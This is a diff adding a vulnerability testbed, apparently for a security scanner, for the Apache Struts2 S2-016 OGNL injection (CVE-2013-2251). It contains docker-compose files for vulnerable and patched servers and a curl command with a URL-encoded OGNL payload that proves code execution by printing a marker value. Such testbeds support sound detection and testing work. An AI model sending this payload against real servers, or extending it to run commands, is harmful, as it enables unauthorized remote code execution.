Testbeds/CVE-2013-2251

apache/struts/CVE-2013-2251/README.md

@@ -0,0 +1,38 @@
+# Apache Struts2 S2-016 DefaultActionMapper OGNL Injection (CVE-2013-2251)
+
+The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution.
+
+## Vulnerable Version
+### Setup
+Start an Apache Struts2 version 2.3.15:
+
+```bash
+docker compose up -d struts2-vuln
+```
+
+### Testing the vulnerability
+```
+curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
+```
+Response:
+```
+tsunami1787569
+```
+## Safe Version 
+### Setup
+Start an Apache Struts2 version 2.3.15.1:
+
+```bash
+docker compose up -d struts2-safe
+```
+
+### Testing the vulnerability
+```
+curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
+```
+Response:
+```
+...
+<title>Struts2 Showcase</title>
+...
+```

apache/struts/CVE-2013-2251/docker-compose.yml

@@ -0,0 +1,32 @@
+services:
+  # ---------------------------------------------------------
+  # VULNERABLE INSTANCE (Port 8080)
+  # Downloads the official Struts 2.3.15 vulnerable release on boot
+  # ---------------------------------------------------------
+  struts2-vuln:
+    image: tomcat:8.5-jre8
+    container_name: struts2-vuln
+    ports:
+      - "8080:8080"
+    command: >
+      bash -c "
+      curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15/struts2-showcase-2.3.15.war -o /usr/local/tomcat/webapps/ROOT.war &&
+      catalina.sh run
+      "
+    restart: always
+
+  # ---------------------------------------------------------
+  # PATCHED INSTANCE (Port 8081)
+  # Downloads the official Struts 2.3.15.1 patch release on boot
+  # ---------------------------------------------------------
+  struts2-safe:
+    image: tomcat:8.5-jre8
+    container_name: struts2-safe
+    ports:
+      - "8081:8080"
+    command: >
+      bash -c "
+      curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15.1/struts2-showcase-2.3.15.1.war -o /usr/local/tomcat/webapps/ROOT.war &&
+      catalina.sh run
+      "
+    restart: always